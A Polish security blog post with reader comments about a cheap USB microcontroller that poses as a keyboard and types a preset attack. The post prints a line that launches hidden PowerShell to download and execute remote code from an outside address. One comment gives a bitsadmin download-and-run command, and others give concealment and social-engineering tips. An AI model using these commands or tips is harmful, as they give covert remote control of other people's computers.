Preorder drugiego tomu książki sekuraka: Wprowadzenie do bezpieczeństwa IT. -15% z kodem: sekurak-book

Pendrive przejmujący komputer za ~30 złotych

16 sierpnia 2017, 20:28 | W biegu | komentarzy 14

Opis przygotowania pendrive, który po podłączeniu działa jak klawiatura. Klawiatura ta z kolei wpisuje zaprogramowaną wcześniej sekwencję klawiszy – np. uruchamia powershella i daje zdalny dostęp na docelowy komputer. Np. tak:

Keyboard.println("powershell.exe -nop -w hidden -c $C=new-object net.webclient;$C.proxy=[Net.WebRequest]::GetSystemWebProxy();$C.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $C.downloadstring('http://1.2.3.4:8080/');"); 
Keyboard.write(KEY_RETURN);

Sercem projektu jest produkt „Adafruit Trinket – Mini Microcontroller” – kosztujący niecałe 7 USD. I tu mała gwiazdka – bo oczywiście musimy jeszcze zapłacić za wysyłkę. No ale jest też druga gwiazdka – przy odpowiednio dużym zamówieniu zapłacimy 5,56 USD za sztukę.

Złożony produkt wygląda tak:

Produkt 1

W środku – tak:

Produkt 1 w środku

Minusem takiego rozwiązania jest czas potrzebny na odpalenie backdoora – 10 sekund. Po lekkim upgrade (cena głównego komponentu ~10 USD), wymagany czas dostępu do infekowanego komputera – jeśli wierzyć autorowi – to tylko 3 sekundy.

Można próbować i taniej – tutaj „programowalny” USB za niecałe 1,5 USD.

Jeśli ktoś ma doświadczenie z tego typu konstrukcjami – podzielcie się komentarzem.

–ms

Spodobał Ci się wpis? Podziel się nim ze znajomymi:



Komentarze

  1. Offed

    Coś się kombinowało z digisparkiem właśnie :p artykuł jest na mailu

    Odpowiedz
  2. Grzesiek

    Miałem okazję bawić się podobnymi płytkami na opartymi na procesorach AVR. Faktycznie, korzystając z odpowiednich bibliotek [1], można zasymulować praktycznie dowolny sprzęt podłączany przez USB. Jeśli jest to urządzenie typu HID (mysz, klawiatura itp.), nie wymaga nawet instalacji sterownika. Wystarczy kilka-kilkadziesiąt linii kodu w C, żeby to małe ustrojstwo stało się np. myszą i wykonało dowolne ruchy kursorem.
    Polecam, fajna zabawa i sporo można się nauczyć o działaniu protokołu USB (oczywiście nie wykorzystując tego w niecnych celach ;)

    1. http://www.fourwalledcubicle.com/LUFA.php

    Odpowiedz
  3. Seba

    Zgadza się. Ten tani równie dobrze działa. Ja osobiście używam
    cmd /C \”bitsadmin /transfer %RANDOM% /download URL %TEMP%\\a.bat & %TEMP%\\a.bat\” w swoich.
    A można je włożyć do: samochodziku, pena, słuchawek na usb, głośnika, powerbanka, atrapy iphona i wielu innych ciekawych rzeczy, które ludzie mogą chcieć podłączyć pod usb po znalezieniu.

    Urządzenie wklepuje: Win+R, payload, Win+L

    A czemu Win+L ?, aby cała magia stała się przy wylogowanym ekranie…

    Odpowiedz
  4. Rafał

    Dla mnie to nie nowość – widziałem takie cudo parę lat temu jako gadżet reklamowy pewnej firmy technologicznej. Po włożeniu do portu USB „magicznie” odpalała się strona WWW owej firmy. I tylko tyle. Okazało się, że ten „pendrive” to klawiatura która wysyła po podłączeniu sekwencję klawiszy Win+R (odpala okienko „Uruchom” w Windowsach) a potem klawisze z adresem WWW i Enter.

    Może nie jest to najszybszy sposób ataku, ale najgorsze jest to, że to zaczyna działać bez żadnego pytania czy ostrzeżenia, i żadne antywirusy tego nie wykrywają.

    Odpowiedz
  5. Da się to bez problemu osiągnąć na Digisparku, którego podlinkowaliście. Czas dostępu w przypadku Digisparka jest znacznie krótszy.

    Odpowiedz
  6. Z moich testów i obserwacji, są 3 główne problemy:

    1. Rubber ducky na oryginalnym firmware udaje tylko klawiaturę. Można wprawdzie wgrać firmware Twin Duck, pozwalający na korzystanie również z karty MicroSD, ale wydajność I/O jest bardzo, bardzo niska, rzędu raptem dziesiątek kilobajtów na sekundę. Sensowniej jest już działać na 2 urządzenia: dedykowany pen drive na storage, oraz Rubber ducky na sterowanie.

    2. Urządzenia tego typu nadal mocno rzucają się w oczy. Wiele modeli nie posiada obudowy (a to automatycznie włącza czerwoną lampkę nawet najbardziej naiwnemu użytkownikowi komputera), a reszta jest duża i dość charakterystyczna.

    Brakuje czegoś dyskretnego, w postaci np. kabla do ładowania komórki – który po jednej stronie by miał wbudowane urządzenie właściwe we wtyczkę, a drugą stroną dodatkowo jeszcze dla niepoznaki wypuszczał zasilanie.

    3. Problem zablokowanej klawiatury – albo wręcz środowiska typu headless. W takich sytuacjach wszystkie obecne urządzenia są bezbronne – a mogłyby czegoś popróbować, np. spróbować zarejestrować się jako karta graficzna USB (są takie!), a jeżeli systemowi uda się doinstalować sterowniki, wymusić zrzut ekranu.

    Odpowiedz
    • W sumie jeszcze czwarty problem: kompatybilność. Generalnie ciężko zrobić zarówno dobry payload jak i skrypt inicjacyjny, który z jednej strony będzie kompatybilny od XP do 10, a z drugiej będzie się dobrze chował i nie będzie emitował użytkownikowi przypadkowych komunikatów na ekran.

      Pozwolę sobie jeszcze dodać, że już niedługo Fajne.IT zaoferuje komplet narzędzi opartych na Raspberry Pi Zero i Rubber ducky, pozwalających na o wieeele bardziej zaawansowane działania, niż to, co jest dzisiaj dostępne w Internecie. Także stay tuned :)

      Odpowiedz
  7. Adam

    Przecież to tylko attiny85, kosztuje mniej niż 1$ i zaprogramować można czystym C a nie za pomocą arduino, pomijamy bootloader i mamy prawie natychmiastową reakcję po podpięciu do komputera.

    Odpowiedz
    • A sprawdzałeś to w praktyce? Pytam serio :) Jak masz to obczajone – to może tekst na sekuraka?

      Odpowiedz
      • cln

        Sprawdź projekt hidude na githubie ;) Niedługo zrobimy aktualizację i wrzucimy więcej payloadów i funkcji.

        Odpowiedz
      • Damiano

        Robiłem coś takiego na studiach
        Stawia się to na jakimś AVR i może udawać mysz czy klawiaturę, ważne żeby było odpowiednie taktowanie procesorab oraz miejsce w ram i rom. Do programowania w wersji bieda edition wystarczy port LPT albo inny scalak AVR (arduino też może być) lub gotowy programator za $3.

        Odpowiedz
  8. Paweł
    Odpowiedz
  9. Ludwik

    Dokładnie to samo można zrobić za pomocą arduino pro micro (14zł allegro) i każdego innego arduino zasilanego z usb 5V. np. Leonardo
    Na hithub jest pełno kodu i konwerterów z oprogramowania w/w przez autora na arduino. Można zamknąć powerbank i poprosić kogoś o możliwość doładowania. Samo urządzenie bez socjotechniki i celu jest kontrolerem do zabaw ;)

    Odpowiedz
    • Ludwik

      Tutaj jest pełno gotowego złego oprogramowania ale każdy odpowiada za siebie https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Payloads Wystarczy tylko skompilować na arduino i wgrać. Raczej nikt nie będzie tworzył poradników jak komuś przejąć kontrole nad pc bo to raczej z prawem zgodne nie jest…

      Odpowiedz

Odpowiedz